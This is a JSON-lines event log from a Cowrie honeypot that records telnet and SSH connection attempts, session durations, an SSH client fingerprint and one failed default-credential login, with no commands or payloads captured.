{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":43888,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb84237218a8","protocol":"telnet","message":"New connection: 80.65.211.42:43888 (159.203.135.109:23) [session: fb84237218a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:35.167416Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":55114,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e3131c7564d","protocol":"ssh","message":"New connection: 80.94.92.184:55114 (10.17.0.5:22) [session: 0e3131c7564d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:41.396349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:41.503061Z","src_ip":"80.94.92.184","session":"0e3131c7564d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:41.709805Z","src_ip":"80.94.92.184","session":"0e3131c7564d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.99903416633606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:41.790895Z","src_ip":"80.65.211.42","session":"d5c2f90d9362","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123456","message":"login attempt [sol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:43.194906Z","src_ip":"80.94.92.184","session":"0e3131c7564d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:44.471505Z","src_ip":"80.94.92.184","session":"0e3131c7564d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.518131256103516,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:50.361876Z","src_ip":"66.113.191.20","session":"01e137b56361","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.08879065513611,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:50.630638Z","src_ip":"80.65.211.42","session":"7b189a0a21a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":42034,"dst_ip":"10.17.0.5","dst_port":23,"session":"0de53924675c","protocol":"telnet","message":"New connection: 66.113.191.20:42034 (10.17.0.5:23) [session: 0de53924675c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:50.653046Z"}
{"eventid":"cowrie.session.closed","duration":61.832762002944946,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:50.911735Z","src_ip":"66.113.191.20","session":"23616ea21680","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.973953008651733,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:50.970788Z","src_ip":"80.65.211.42","session":"f4f58b2cc144","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":42422,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5a889f681b0","protocol":"telnet","message":"New connection: 66.113.191.20:42422 (10.17.0.5:23) [session: a5a889f681b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:51.301729Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":42590,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae145c19df7d","protocol":"telnet","message":"New connection: 66.113.191.20:42590 (10.17.0.5:23) [session: ae145c19df7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:51.504652Z"}
{"eventid":"cowrie.session.closed","duration":61.569376707077026,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:51.676420Z","src_ip":"66.113.191.20","session":"6d3515d19a29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":42044,"dst_ip":"10.17.0.5","dst_port":23,"session":"1637ced39b52","protocol":"telnet","message":"New connection: 66.113.191.20:42044 (10.17.0.5:23) [session: 1637ced39b52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:51.715030Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":43884,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8e798b4f3b8","protocol":"telnet","message":"New connection: 66.113.191.20:43884 (10.17.0.5:23) [session: e8e798b4f3b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:53.117770Z"}
{"eventid":"cowrie.session.closed","duration":44.62921071052551,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:53.393338Z","src_ip":"80.65.211.42","session":"be1ca0beb5dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":44902,"dst_ip":"10.17.0.5","dst_port":23,"session":"2804081bbe45","protocol":"telnet","message":"New connection: 66.113.191.20:44902 (10.17.0.5:23) [session: 2804081bbe45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:54.080623Z"}
{"eventid":"cowrie.session.closed","duration":33.28872537612915,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:54.471237Z","src_ip":"80.65.211.42","session":"bd9e89edc7fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":45850,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0908a5ae69d","protocol":"telnet","message":"New connection: 66.113.191.20:45850 (10.17.0.5:23) [session: e0908a5ae69d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:54.833557Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":46138,"dst_ip":"10.17.0.5","dst_port":23,"session":"1654ee33562e","protocol":"telnet","message":"New connection: 66.113.191.20:46138 (10.17.0.5:23) [session: 1654ee33562e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:55.087539Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":45064,"dst_ip":"10.17.0.5","dst_port":23,"session":"0dc7bee757f8","protocol":"telnet","message":"New connection: 66.113.191.20:45064 (10.17.0.5:23) [session: 0dc7bee757f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:55.204775Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":46974,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdd33f87c530","protocol":"telnet","message":"New connection: 66.113.191.20:46974 (10.17.0.5:23) [session: fdd33f87c530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:55.396705Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":36558,"dst_ip":"159.203.135.109","dst_port":23,"session":"f403453d21b5","protocol":"telnet","message":"New connection: 80.65.211.42:36558 (159.203.135.109:23) [session: f403453d21b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:55.550123Z"}
{"eventid":"cowrie.session.closed","duration":33.69416356086731,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:51:59.799563Z","src_ip":"80.65.211.42","session":"825987cae268","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.70753288269043,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:52:00.262160Z","src_ip":"80.65.211.42","session":"c00e16c157b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":36560,"dst_ip":"159.203.135.109","dst_port":23,"session":"59681d9d7fe3","protocol":"telnet","message":"New connection: 80.65.211.42:36560 (159.203.135.109:23) [session: 59681d9d7fe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:52:02.583728Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.43.52.101","src_port":3072,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d3c956fd084","protocol":"telnet","message":"New connection: 20.43.52.101:3072 (159.203.135.109:23) [session: 7d3c956fd084]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:52:05.218802Z"}
{"eventid":"cowrie.session.closed","duration":30.644026517868042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:52:05.417441Z","src_ip":"80.65.211.42","session":"c4c3e4dfe348","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.527091026306152,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:52:05.506608Z","src_ip":"80.65.211.42","session":"e2d6e46b0907","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.44037652015686,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:52:05.656963Z","src_ip":"80.65.211.42","session":"5b4317c83e3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":54042,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cf7a86c7e59","protocol":"telnet","message":"New connection: 80.65.211.42:54042 (159.203.135.109:23) [session: 7cf7a86c7e59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:52:07.008821Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":54054,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f1e722da044","protocol":"telnet","message":"New connection: 80.65.211.42:54054 (159.203.135.109:23) [session: 2f1e722da044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:52:07.596752Z"}
{"eventid":"cowrie.session.closed","duration":32.72269344329834,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:52:07.889997Z","src_ip":"80.65.211.42","session":"fb84237218a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":54068,"dst_ip":"159.203.135.109","dst_port":23,"session":"77e826475725","protocol":"telnet","message":"New connection: 80.65.211.42:54068 (159.203.135.109:23) [session: 77e826475725]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:52:12.248788Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":54080,"dst_ip":"159.203.135.109","dst_port":23,"session":"eeac48e73e1e","protocol":"telnet","message":"New connection: 80.65.211.42:54080 (159.203.135.109:23) [session: eeac48e73e1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:52:13.743174Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":56112,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5464937dd5b","protocol":"telnet","message":"New connection: 80.65.211.42:56112 (159.203.135.109:23) [session: d5464937dd5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:52:16.174115Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":56120,"dst_ip":"159.203.135.109","dst_port":23,"session":"32f453cdabb4","protocol":"telnet","message":"New connection: 80.65.211.42:56120 (159.203.135.109:23) [session: 32f453cdabb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:52:18.572263Z"}
{"eventid":"cowrie.session.closed","duration":31.917694091796875,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:52:27.467640Z","src_ip":"80.65.211.42","session":"f403453d21b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":41662,"dst_ip":"159.203.135.109","dst_port":23,"session":"de5bc38cf8bc","protocol":"telnet","message":"New connection: 80.65.211.42:41662 (159.203.135.109:23) [session: de5bc38cf8bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:52:33.725648Z"}
{"eventid":"cowrie.session.closed","duration":31.236961841583252,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:52:33.820584Z","src_ip":"80.65.211.42","session":"59681d9d7fe3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83542799949646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:52:36.054092Z","src_ip":"20.43.52.101","session":"7d3c956fd084","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00106501579285,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:52:37.221868Z","src_ip":"66.113.191.20","session":"057436357b2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00127935409546,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:52:38.432265Z","src_ip":"66.113.191.20","session":"26060e06d7d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.670995712280273,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:52:39.267650Z","src_ip":"80.65.211.42","session":"2f1e722da044","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00174689292908,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:52:39.430889Z","src_ip":"66.113.191.20","session":"6322d5902fe9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00091767311096,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:52:40.366285Z","src_ip":"66.113.191.20","session":"dbeeeae4966e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":49680,"dst_ip":"159.203.135.109","dst_port":23,"session":"0522605f2728","protocol":"telnet","message":"New connection: 80.65.211.42:49680 (159.203.135.109:23) [session: 0522605f2728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:52:40.980587Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":49696,"dst_ip":"159.203.135.109","dst_port":23,"session":"21bf0bdda956","protocol":"telnet","message":"New connection: 80.65.211.42:49696 (159.203.135.109:23) [session: 21bf0bdda956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:52:41.065810Z"}
{"eventid":"cowrie.session.closed","duration":120.00100612640381,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:52:41.747486Z","src_ip":"66.113.191.20","session":"b9394bdcf997","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0011990070343,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:52:42.028367Z","src_ip":"66.113.191.20","session":"0caf2ac6b2a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00179243087769,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:52:42.121199Z","src_ip":"66.113.191.20","session":"9f7e1a34ca90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.862507343292236,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:52:42.871196Z","src_ip":"80.65.211.42","session":"7cf7a86c7e59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00157451629639,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:52:43.108657Z","src_ip":"66.113.191.20","session":"0af42ca0bbef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00157618522644,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:52:43.270423Z","src_ip":"66.113.191.20","session":"f1fee98ddad7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00119686126709,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:52:44.195762Z","src_ip":"66.113.191.20","session":"5d98ecee84e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.339768409729004,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:52:44.588441Z","src_ip":"80.65.211.42","session":"77e826475725","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.72396230697632,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:52:45.467006Z","src_ip":"80.65.211.42","session":"eeac48e73e1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0015971660614,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:52:47.198753Z","src_ip":"66.113.191.20","session":"0b0c5ace4647","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00105714797974,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:52:47.315767Z","src_ip":"66.113.191.20","session":"de655fcde022","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.153557300567627,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:52:47.327511Z","src_ip":"80.65.211.42","session":"d5464937dd5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00178074836731,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:52:47.799060Z","src_ip":"66.113.191.20","session":"2c45bdf45b83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.668107509613037,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:52:49.240242Z","src_ip":"80.65.211.42","session":"32f453cdabb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0016119480133,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:52:49.510196Z","src_ip":"66.113.191.20","session":"1451845f3d4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":52926,"dst_ip":"10.17.0.5","dst_port":23,"session":"641ea3c89610","protocol":"telnet","message":"New connection: 66.113.191.20:52926 (10.17.0.5:23) [session: 641ea3c89610]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:52:57.903900Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":55218,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0b28018396c","protocol":"telnet","message":"New connection: 80.65.211.42:55218 (159.203.135.109:23) [session: b0b28018396c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:53:00.675126Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":58844,"dst_ip":"10.17.0.5","dst_port":23,"session":"163494e51539","protocol":"telnet","message":"New connection: 66.113.191.20:58844 (10.17.0.5:23) [session: 163494e51539]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:53:03.294967Z"}
{"eventid":"cowrie.session.closed","duration":30.73872947692871,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:53:04.464278Z","src_ip":"80.65.211.42","session":"de5bc38cf8bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":37982,"dst_ip":"10.17.0.5","dst_port":23,"session":"511c5456e607","protocol":"telnet","message":"New connection: 66.113.191.20:37982 (10.17.0.5:23) [session: 511c5456e607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:53:08.078464Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":37992,"dst_ip":"10.17.0.5","dst_port":23,"session":"48c99547e981","protocol":"telnet","message":"New connection: 66.113.191.20:37992 (10.17.0.5:23) [session: 48c99547e981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:53:08.083570Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":38540,"dst_ip":"10.17.0.5","dst_port":23,"session":"25d81f2e9353","protocol":"telnet","message":"New connection: 66.113.191.20:38540 (10.17.0.5:23) [session: 25d81f2e9353]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:53:08.321173Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.191.20","src_port":39330,"dst_ip":"10.17.0.5","dst_port":23,"session":"a187f6948018","protocol":"telnet","message":"New connection: 66.113.191.20:39330 (10.17.0.5:23) [session: a187f6948018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:53:08.647712Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":58316,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef89fd8e2f61","protocol":"telnet","message":"New connection: 80.65.211.42:58316 (159.203.135.109:23) [session: ef89fd8e2f61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:53:08.781373Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":58320,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7bb9851a899","protocol":"telnet","message":"New connection: 80.65.211.42:58320 (159.203.135.109:23) [session: f7bb9851a899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:53:08.988637Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":58336,"dst_ip":"159.203.135.109","dst_port":23,"session":"db2abc79ab6b","protocol":"telnet","message":"New connection: 80.65.211.42:58336 (159.203.135.109:23) [session: db2abc79ab6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:53:09.275643Z"}
{"eventid":"cowrie.session.closed","duration":31.58793878555298,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:53:12.568400Z","src_ip":"80.65.211.42","session":"0522605f2728","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.800209999084473,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:53:12.865920Z","src_ip":"80.65.211.42","session":"21bf0bdda956","protocol":"telnet"}
